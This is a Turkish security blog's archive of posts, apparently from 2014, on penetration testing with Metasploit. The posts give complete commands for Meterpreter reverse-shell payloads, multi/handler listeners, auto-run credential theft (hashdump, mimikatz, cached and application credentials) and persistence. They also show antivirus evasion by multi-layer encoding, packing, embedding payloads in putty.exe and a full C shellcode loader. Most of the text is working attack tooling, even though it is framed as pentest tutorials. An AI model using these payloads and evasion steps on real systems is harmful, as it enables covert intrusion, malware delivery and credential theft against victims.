handler etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
handler etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

29 Aralık 2014 Pazartesi

Sosyal Mühendislik Sızma Testlerinde Betiklerin ve Loglamanın Kullanılması

Sosyal Mühendislik Sızma Testlerinde Betiklerin ve Loglamanın Kullanılması

Sosyal mühendislik saldırılarındaki temel sorunlardan birisi gönderilen zararlı uygulamanın kurban tarafından ne zaman çalıştırılacağının bilinmemesidir. Bu sebeple konsolun başında beklemek çok pratik değildir. Bu durum, MSF exploit/multi/handler modülünün betiklerle kullanılması sosyal mühendislik saldırılarında önemlidir. Betikler kullanmanın yanı sıra, sızma testlerine ait sonuçları raporlamak ve saldırı sonucunda elde edilen bilgileri listelemek amacıyla loglamanın etkinleştirilmesi de sosyal mühendislik sızma testlerinde önemli bir durumdur.

Bu yazıda sosyal mühendislik amacıyla oluşturulan zararlı yazılımın kurban bilgisayara gönderildiği varsayılarak, MSF multi/handler modülü yapılandırılacak ve saldırı sonuçları incelenecektir. Bu işlemler 3 adımda gerçekleştirilecektir.
i) MSF multi/handler modülünü başlatacak "MultiHandlerinBaslatilmasi.rc" adlı betik ve Meterpreter kabuğu elde edildikten sonra çalışacak olan komutları içeren "SosyalMuhendislik_MeterpreterKomutlari.rc" adlı betik hazırlanacaktır.
ii) MSF multi/handler modülü başlatılacak ve kurbanın çalıştırdığı zararlı uygulamanın meterpreter bağlantısı elde edilecektir.
iii) Kurban tarafından çalıştırılan zararlı uygulamanın sonuçları, MSF komut satırından ve loglardan incelenecektir.

i) Betiklerin Hazırlanması

Öncelikle bir dizinde (/root/Desktop/ gibi) MultiHandlerinBaslatilmasi.rc adlı bir betik oluşturulur ve içerisine aşağıdaki gibi komutlar girilerek, modülün çalışma parametreleri verilir.
spool /root/Desktop/Log.log
set PROMPT %red%L %yel%H %blu%U %whi%T 
set ConsoleLogging true
set LogLevel 5
set SessionLogging true
set TimestampOutput true 
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 172.16.67.120
set LPORT 443
set VERBOSE true
set ExitOnSession false
set SessionCommunicationTimeout 3000
set SessionExpirationTimeout 1209600
set AutoRunScript multi_console_command -rc /root/Desktop/SosyalMuhendislik_MeterpreterKomutlari.rc
exploit -j

Yukarıdaki komutların işlevi özetle aşağıdaki gibidir:
  • Masaüstüne Log.log adlı dosya oluşturulur ve çalışacak olan komutların çıktıları bu dosyaya yazdırılır.
  • Konsolda saldırganın bilgisayarına ait bazı bilgilerin (IP / bilgisayar adı / hesap adı / tarih) girilmesi sağlanır.
  • Loglamalar etkinleştirilir.
  • MSF multi/handler modülü başlatılıt.
  • "ExitOnSession" seçeneği ile bir kere oturum elde edildikten sonra modülün gelen talepleri alamya devam etmesi sağlanır.
  • Oturum için zaman aşımları ayarlanır.
  • En önemli maddelerden biri olarak da, "AutoRunScript" parametresi ile oturum elde edildikten sonra çalıştırılması istenen komutların yazılı olduğu betik belirtilir.


MSF multi/handler modülünün çağıracağı betik (SosyalMuhendislik_MeterpreterKomutlari.rc) içeriği aşağıdaki gibi ayarlanabilir:
sysinfo
getsystem
ifconfig
netstat
ps
run hashdump
run post/windows/manage/smart_migrate
run checkvm
run post/windows/gather/cachedump
run post/windows/gather/dumplinks
run post/windows/gather/credentials/gpp
run post/windows/gather/checkvm
run post/windows/gather/credentials/tortoisesvn
run post/windows/gather/credentials/winscp
load mimikatz
wdigest
Yukarıdaki komutların işlevi özetle aşağıdaki gibidir:

  • Kurbana ait bilgisayarın işletim sistemi, IP adresi, ağ üzerindeki anlık trafiği, o anda çalışan prosesler gibi temel bilgiler elde edilir.
  • Bilgisayardaki yerel hesaplara ait parola özetleri elde edilir.
  • explorer.exe gibi daha stabil bir prosese sıçranır.
  • Bilgisayarın sanal makine veya fiziksel makine olup olmadığı kontrol edilir.
  • Uygulamalardan veya disk üzerinden bazı kritik bilgiler aranır.
  • Bilgisayarın RAM'i üzerinden parolaların açık hali elde edilir.


Bu 2 betik dosyası masa üstüne kaydedilmiştir:


ii) Modülün Başlatılması ve Zararlı Uygulamanın Çalıştırılması

MSF modülünün başlatılması için msfconsole aracının "-r" parametresi kullanılabilir. Böylece "MultiHandlerinBaslatilmasi.rc" adlı betik dosyasındaki yapılandırma ayarlarına göre modül başlatılır.
msfconsole -r /root/Desktop/MultiHandlerinBaslatilmasi.rc


Modül yapılandırıldıktan sonra gönderilen zararlı uygulamanın çalıştırılması beklenir.


Not: Zararlı uygulamanın oluşturulmasıyla ilgili ayrıntılı bilgi için bakınız.

Zararlı yazılım çalıştığında MSF konsolunda "AutoRunScript" parametresinde belirtilen betikteki (SosyalMuhendislik_MeterpreterKomutlari.rc) komutlar çalışmaya başlar:


iii) Logların İncelenmesi

En önemli log dosyası masaüstünde oluşan Log.log adlı dosyadır.


Bu dosyada MSF modülünün başlamasından sonraki konsolda gerçekleşen her işlem kaydı bulunmaktadır:


Devamı:


Bunun yanında oturum logu etkinleştirildiği için, /root/.msf4/logs/sessions dizini altında tarihe ve bilgisayar adına göre oluşan bir dosya içerisinde de sadece oturum ile ilgili loglar bulunmaktadır:

5 Kasım 2014 Çarşamba

Kali pth-winexe aracı & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

Kali pth-winexe aracı & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

Önceki bir yazıda, Veil ile oluşturulan ve antivirüslere yakalanmayan bir zararlı yazılm oluşturularak Kali üzerindeki bir paylaşıma konulmuş ve MSF psexec_command modülü ile bu uygulama kurban Windows 7 makinesinde çağırılmıştı. Böylece uygulama çalışmış ve Kali'ye bir meterpreter bağlantı oluşturulmuştu.

15 Ekim 2014 Çarşamba

MSF psexec_command Modülü & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

MSF psexec_command Modülü & Veil: Antivirüslere Yakalanmayan Uygulama ile Meterpreter Kabuğu Elde Etme

Önceki bir yazıda klasik MSF psexec modülü kullanılarak erişim bilgisi elde edilen kurban makineye meterpreter bağlantısı elde edilmişti. Ancak, bu bağlantı oluşturma sırasında kullanılan kodlar (payload) bir çok antivirüs tarafından yakalanmaktadır. Bu sebeple klasik MSF psexec modülü kullanışlılığını kaybetmiştir. "psexec_command" adlı bir başka MSF modülü ise antivirüslere yakalanmayacak şekilde hazırlanmış olan bir uygulama dosyasını kullanarak meterpreter bağlantısını sağlamaktadır.

Yazının devamı için bakınız:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-meterpreter-session-by-using-obtained-authentication-informations-via-msf-psexec-command-auxiliary-module/

8 Ekim 2014 Çarşamba

AV Bypass: MsfVenom

AV Bypass: MsfVenom

Antivirüslerin atlatılması için, çok etkin bir yöntem olmasa da Metasploit tarafından sağlanan msfpayload ve msfencode modülleri kullanılabilir. Konu ile ilgili ayrıntılı bilgi için bakınız. Bu yazıda ise msfvenom aracı kullanılarak benzer işlemler gerçekleştirilecektir.

Yazının devamı içn bakınız:
http://www.siberportal.org/red-team/anti-virus-evasion-techniques/evading-anti-virus-detection-using-msfvenom-tool/

1 Ekim 2014 Çarşamba

AV Bypass: MSF Üzerinde Payload Üretilmesi

AV Bypass: MSF Üzerinde Payload Üretilmesi

Antivirüslerin atlatılması için, çok etkin bir yöntem olmasa da Metasploit tarafından sağlanan msfpayload ve msfencode modülleri kullanılabilir. Konu ile ilgili ayrıntılı bilgi için bakınız. Bu yazıda ise msfconsole içerisindeki payload modüllerinden biri kullanılarak benzer işlemler gerçekleştirilecektir.

1 Eylül 2014 Pazartesi

Post Exploitation: MSF Persistence Post Modülü

Post Exploitation: MSF Persistence Post Modülü

Bir sisteme girildikten bir süre sonra bilgisayar ile bağlantı kesilebilmektedir. Bu durumda o bilgisayarı tekrar exploit etmek gerekebilir. Bunun yerine bilgisayar arka kapı da bırakılabilir. Bu yazıda, Metasploit Framework içerisindeki Persistence modülü kullanılarak arka kapı bırakılması incelenecektir.

Yazının devamı için:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-permanent-meterpreter-session-on-windows-by-using-meterpreter-persistence-script/

2 Nisan 2014 Çarşamba

AV Bypass: Veil-Framework/Veil-Evasion

AV Bypass: Veil-Framework/Veil-Evasion

AV'lerden gizlenerek hedef sistemde çalışabilen bir exe hazırlamak için Veil adlı bir uygulama kullanılabilir. Bunun için Kali'ye Veil indirilir (yüklü değilse) ve yüklenir. Daha sonra da zararlı uygulama oluşturularak istemci makinede çalıştırılır.

Not: Diğer AV atlatma teknikleri için bakınız.

Not: Bu yazı 2014 Nisan ayında hazırlanmıştır. Bazı ekran görüntüleri son sürüm ile uygun olmayabilir.

Veil Aracının Yüklenmesi

Veil kodu https://github.com/Veil-Framework/Veil-Evasion adresinden indirilir.


Zip dosyasından çıkarılır.
cd Desktop
unzip Veil-Evasion-master.zip


Açılan klasörin içinde bulunan setup klasörü açılır ve içerisindeki setup.sh betiği çalıştırılır.
ls
cd Veil-Evasion-master/
ls
cd setup/
ls
./setup.sh 

Not: Bu betik yerine direk olarak Veil aracı başlatılarak da yükleme yapılabilir ancak bu tavsiye edilmemektedir.

Yükleme sırasında gelebilecek uyarılar kabul edilir.


Yükleme işlemi sırasında Python'un da yüklenmesi için bir ekran otomatik olarak çıkar:


Python yüklemesi tamamlanır:


Daha sonra da Pywin32 arazının yüklenmesi için başka bir pencere açılır:


Pywin32 yüklemesi tamamlanır.

Böylece Veil yüklemesi tamamlanmış olur.

Veil Uygulamasıyla Zararlı Uygulama Oluşturma

Yükleme işlemi tamamlandıktan sonra Veil-Evasion.py betiği çalıştırılır.


Tüm payload'lar listelenir.


Toplamda 28 Payload listelenir:


İstenilen payload seçilir:

Not: Payload seçiminde payload ID' değeri kullanlabildiği gibi, payload adı da kullanılabilir.

LHOST, LPORT gibi seçenekler ayarlanır: ve payload üretilir:
set LHOST 192.168.159.99
set LPORT 443
generate


Oluşturulacak uygulamaya isim verilir. Ayrıca uygulamanın ne şekilde oluşturulacağı belirlenir.


Sonuçta uygulama elde edilerek /root/veil-output/compiled dizinine kaydolur.


Not: Seçenekler belirlenirken tek bir satırda da işlem gerçekleştirilebilir. Ancak betik programlama haricinde bu işlemin yapılmaması, seçeneklerin manuel olarak ayarlanması daha uygundur. Aksi halde, yeni eklenen Payload'lar fark edilememiş olabilir. Örnek bir kod aşağıdaki gibidir (denenmedi):
./Veil.py -l python -p AESVirtualAlloc -o ZararliUygulama --msfpayload windows/meterpreter/reverse_https --msfoptions LHOST=192.168.159.99 LPORT=443

Zararlı Uygulamanın Çalıştırılması ve Bağlantının Elde Edilmesi

Zararlı uygulama Windows 7 bir makineye atılır.
Windows 7 kullanıcısı bu uygulamayı çalıştırdığında bağlantı KALI makineye düşecektir. Bu bağlantıyı dinlemek için MSF'teki exploit/multi/handler modülü kullanılabilir Windows 7 kullanıcısı bu uygulamayı çalıştırdığında bağlantı başlar ve meterpreter oturumunda (payload seçiminde meterpreter kabuğu oluşturulması istenmişti) istenilen kod çalıştırılır:
msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf  exploit(handler) > set ExitOnSession false
msf  exploit(handler) > set LHOST 192.168.159.99
msf  exploit(handler) > set LPORT 443
msf  exploit(handler) > exploit -j


1 Mart 2014 Cumartesi

AV Bypass: Paketleyiciler (2)

AV Bypass: Paketleyiciler (2)
Bu yazıda dosya sıkıştırma uygulamaları kullanılarak bir ters HTTPS bağlantısı kurularak bağlantı sağlanacaktır.

Metasploit kullanılarak oluşturulan bir payload  aşağıdaki gibi gerçekleştirilebilir:
# msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 > Uygulama1.exe

Metasploit modülleri olan msfpayload ve msfencode ile zararlı uygulama oluşturma işlemleri için bakınız.

Bu uygulama 36 AV tarafından tespit edilmiştir.


Kali üzerindeki UPX adlı sıkılaştırma aracı ile aynı uygulamanın sıkılaştırılmış hali oluşturulabilir:
upx -9qf -oUygulama2.exe Uygulama1.exe

Sıkıştırılmış dosyanın 37 AV tarafından tespit edilmiştir.


Mpress ile sıkıştırma işlemi aşağıdaki gibidir:

Sıkıştırılmış dosyanın 30 AV tarafından tespit edilmiştir.


Not: Çok fazla yaygınlaşmamış paketleyicilerin kullanılması AV'ler tarafından tespit edilme oranını azlacaktır.

Oluşturulan uygulamanın işlevselliğinde bir değişiklik olmamaktadır. Aşağıdaki komutlar sonrasında uygulama çalıştırılınca ters HTTPS bağlantısı kurulmaktatır.
# msfconsole
# msf exploit(handler) > use exploit/multi/handler
# msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
# msf exploit(handler) > set ExitOnSession false
# msf exploit(handler) > set LHOST 192.168.2.48
# msf exploit(handler) > set LPORT 443
# msf exploit(handler) > exploit -j


AV Bypass: Shellcode


AV Bypass: Shellcode

AV gibi sistemleri atlatmak için kullanılan yöntemlerden birisi de Kabuk Kodu (Shellcode) kullanmaktır. Shellcode, exploit sonrası çalışan, payload olarak kullanılan komut kümesidir. Assembly dili ile yazılmıştır. Bu komutlar çalıştıktan sonra, komutun işlevini göre olay gerçekleştirilir. Örneğin, hedef sistemin kabuğuna (shell) düşülür.

Shellcode ile AV atlatma işlemi için 3 adım gerçekleştirilecektir: Öncelikle Shellcode oluşturulacak, bu kod kullanılarak uygulama kodunu hazırlanacak, son olarak da uygulama derlenerek çalıştırılabilir dosya (exe) hazırlanacaktır.

1) Shellcode Hazırlama
Shellcode oluşturmak için kullanılabilecek en kolay yöntem Metasploit içerisindeki msfpayload ve msfencode modüllerini kullanmaktır. Bu modüller ile ilgili aytıntılı bilgi için bakınız.
Bu 2 modül aşağıdaki gibi Shellcode oluşturulabilir.
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 R | msfencode -b  '\x00\xff' -e x86/shikata_ga_nai -c 3  -t c -o KabukKodu

Not: Senaryonun daha gerçekçi olması amacıyla 443'ten ters HTTPS bağlantısı gerçekleştirilmiştir.

Oluşturulan Shellcode, aşağıdaki gibi "unsigned char" tipinde bir dizi içermektedir:


2) Uygulama kodunu hazırlama
İşlemi gerçekleştirilecek kod hazırlanır. 32 bit mimaride çalışabilen kod C dili ile aşağıdaki kodlarla hazırlanarak *.c uzantılı bir dosyaya yazılabilir.
unsigned char buf[] = " "; // Shellcode yazılır
int main(){
void (*c0d3)();
c0d3 =(void(*)()) buf;
c0d3();            
}

64 bit mimarideki işletim sisteminde çalışması için gerekli koda ise aşağıdaki bağlantıdan erişilebilir.
https://github.com/inquisb/shellcodeexec/blob/master/windows/shellcodeexec/shellcodeexec.c
Ayrıca bakınız:
http://www.securitytube.net/video/6750

Not: Bu kod kullanılırken parametre kullanılmayacağı için "if (argc < 2)" bloğu tamamen veya bu bloğun içerisi yorum satırına alınabilir.

Bu uygulama kodu aşağıdaki gibidir:

Not: Kullanılan kodun son hali, yazının en sonuna eklenmiştir.

3) Uygulama kodunun derlenmesi
Son olarak da bu kod derlenecektir. Sanal makinemiz 64 bit olacağı için 64 bit için hazırlanan uygulama kodu derlenecektir. Ayrıca kodun derlenmesi için Visual Studio'nun "cl" aracı kullanılacaktır.

Öncelikle kod derleme işlemi, Visual Studio kurulum dizininde komut satırı çalıştırılmalıdır. Bunun için, Başlat kısmında Visul Studio Command Prompt, yönetici olarak çalıştırılmalıdır (Eğer uygulama kodu C dizini hariç bir dizinde çalıştırılacaksa yönetici olarak çalıştırmaya gerek yoktur.)

VS komut satırında cl aracı ile hazırlanan kodun (64bit_UygulamaKodu.c) derlenmesi ile uygulama (64bit_UygulamaKodu.exe) oluşmaktadır:


Uygulamanın Taranması
Hazırlanan uygulamanın VirusTotal ile analiz edildiğinde 3 AV tarafından yakalandığı tespit edilmiştir:

VirusTotal kullanımı ile ilgili ayrıntılı bilgi için bakınız.

Uygulamanın Çalıştırılması ve Bağlantının Sağlanması
İstemci tarafından uygulama çalıştırıldığında bağlantının sağlanması için bir dinleyici (listener) açılması gerekir. Bu işlem aşağıdaki gibidir:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set LHOST 192.168.2.48
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit -j

Uygulama çalıştırıldığında aşağıdaki gibi istemci ile bağlantı sağlanmaktadır.


Sonuç:
Shellcode, AV atlatmak için kullanılabilecek bir yöntemdir. Bazı durumlarda hiçbir AV tarafından yakalamamasına rağmen bazı durumlarda az sayıda da olsa AV tarafında tespit edilebilmektedir.


EK: 64 bit mimaride çalışan uygulama kodu

unsigned char buf[] =
""; // Shellcode eklenmelidir.

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#include <windows.h>
DWORD WINAPI exec_payload(LPVOID lpParameter);
#else
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#endif

int sys_bineval(char *argv);

int main(int argc, char *argv[])
{
if (argc < 2) {
// printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
// exit(-1);
}

sys_bineval(buf);

exit(0);
}

int sys_bineval(char *argv)
{
size_t len;

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif

len = (size_t)strlen(argv);

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// copy over the shellcode
strncpy(code, argv, len);

// execute it by ASM code defined in exec_payload function
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;

if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary

// mmap an +rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);

if (addr == MAP_FAILED)
return 1;

// copy over the shellcode
strncpy((char *)addr, argv, len);

// execute it
((void (*)(void))addr)();
}

if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif

return 0;
}

#if defined(_WIN64)
void __exec_payload(LPVOID);

DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__exec_payload(lpParameter);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

return 0;
}
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

return 0;
}
#endif

23 Şubat 2014 Pazar

AV Bypass: MsfPayload & MsfEncode

AV Bypass: MsfPayload & MsfEncode

Antivirüslerin atlatılması için Metasploit tarafından sağlanan msfpayload ve msfencode modülleri kullanılabilir. Kullanılabilecek en temel yöntemler aşağıdaki gibidir. Her adımda oluşturulan uygulamanın tespit edilmesi VirusTotal ile kontrol edilmiştir. VirusTotal kullanımı ile ilgili ayrıntılı bilgi için bakınız.

1) MsfPayload ile Exe oluşturma
MsfPayload kullanılarak oluşturulabilecek payloadlar aşağıdaki gibi listelenir.
# msfpayload -l

Sadece msfpayload kullanılarak zararlı bir yazılım oluşturmak için X parametresi kullanılabilir. Oluşturulan dosyanın Sha256 özeti de saklanabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 X > Uygulama1.exe
# sha256sum Uygulama1.exe

Bu payload ters bir bağlantı oluşturara 192.168.8.145 IP'li bilgisayarın 4567 portuna reverse_tcp bağlantısı oluşturmaktadır. Bu bağlantıyı dinlemek için bir handler açılmalıdır. Handler açılması için gerekli ayarlamaların gerçekleştirilmesi aşağıdaki gibidir:
# msfconsole
# msf > use exploit/multi/handler
# msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
# msf exploit(handler) > set ExitOnSession false
# msf exploit(handler) > set LHOST 192.168.8.145
# msf exploit(handler) > set LPORT 4567
# msf exploit(handler) > show options

Gerekli ayarlamalar yapıldıktan sonra Handler başlatılır.
# msf exploit(handler) > exploit -j

Bir bilgisayarda bu uygulama (Uygulama1.exe) çalıştırıldığında meterpreter bağlantısı oluşacaktır. Bağlantı oluştuktan sonra ilgili oturuma gidilerek meterpreter bağlantısına düşülür ve istenilen komutlar çalıştırılır.
# sessions
# sessions -i 1
# meterpreter > getuid
# meterpreter > getsystem
# meterpreter > getuid

Ancak bu uygulama bir çok antivirüs tarafından yakalanmaktadır. Oluşturulan  uygulamanın VirusTatal analiz sonucunda 50 AV'den 37 tanesi tarafından tespit edilmiştir.


2) Raw halindeki Payload'u Yeniden Kodlama
MsfPayload ile Raw halinde oluşturulan bir payload MsfEncode ile yeniden kodlanabilir. "x86/shikata_ga_nai" adlı kodlayıcı ile 3 kere kodlanan Raw halinde bir payload oluşturulması aşağıdaki gibidir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -o Uygulama2.exe

Not: Kodlayıcıların kullanılması uygulama boyutunu arttırmaktadır.
MsfEncode tarafından kullanılabilecek kodlayıcıların listesi aşağıdaki gibidir:
# msfencode -l

Not: Rank olarak yüksek olan kodlayıcıların kullanılması antivirüslerden saklanılması için bir yöntemdir.
Oluşturulan 2. uygulamanın VirusTotal analizi sonucunda 35 AV tarafından tespit edildiği görülmektedir.


3) Standart Uygulamaya Zararlı Kod Gömme
Hazırlanan uygulama kodunun anti virüsler tarafından tespit edilmesini engellemek için varsayılan şablonlar yerine farklı şablonlar tercih edilmelidir. msfencode ile alternatif şablon kullanmak için '-x' parametresi kullanılmaktadır. Bunun için normalde zararlı olmayan bir uygulamaya zararlı kod gömülebilir. Bu işlem aşağıdaki gibidir:
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -x /root/putty.exe -o Uygulama3.exe

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 33 AV tarafından tespit edildiği görülmektedir.


4) Çoklu Kodlama Yönteminin Kullanılması
MsfPayload ile oluşturulan payload  kodlanırken birden fazla kodlayıcı ardışık olarak da kullanılabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -t raw -c 2| msfencode -e x86/countdown -x /root/putty.exe -t exe -o Uygulama4.exe

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 34 AV tarafından tespit edildiği görülmektedir.

Kullanılabilecek bir diğer uygulama aşağıdaki gibi oluşturulabilir:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 EXITFUNC=thread R |  msfencode -e x86/shikata_ga_nai -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor  -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor  -c 2 -t exe -o Uygulama5.exe

Sonuç

Msfpayload ve Msfencode modüllerinin tek başlarına kullanımı AV'lerden saklanmak için yeterli olmayabilmektedir. Üstelik kodlama işlemi de bazı durumlarda AV'lerin yakalanmasına sebep olabilmektedir. Bu sebeplerden dolayı başka çözümler üzerine yoğunlaşılması gerekmektedir.